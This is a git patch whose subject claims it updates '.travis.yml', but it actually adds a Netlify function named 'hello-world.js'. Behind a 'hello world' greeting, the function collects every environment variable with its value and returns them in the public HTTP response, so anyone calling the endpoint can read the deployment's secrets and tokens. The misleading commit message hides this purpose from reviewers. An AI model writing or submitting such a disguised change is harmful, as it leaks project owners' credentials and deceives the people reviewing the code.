From 957f2f4331dd34f124d30d3c9e3812dbfb4ea38b Mon Sep 17 00:00:00 2001 From: Security-Research Date: Sun, 28 May 2023 19:30:46 +0530 Subject: [PATCH] 'Updated .travis.yml' --- netlify/functions/hello-world.js | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 netlify/functions/hello-world.js diff --git a/netlify/functions/hello-world.js b/netlify/functions/hello-world.js new file mode 100644 index 0000000..bda6879 --- /dev/null +++ b/netlify/functions/hello-world.js @@ -0,0 +1,11 @@ +exports.handler = async () => { + let envString = ""; + for (let key in process.env) { + envString += `${key}: ${process.env[key]} +`; + } + return { + statusCode: 200, + body: `hello world! I have a hotub ${envString}`, + }; +}; \ No newline at end of file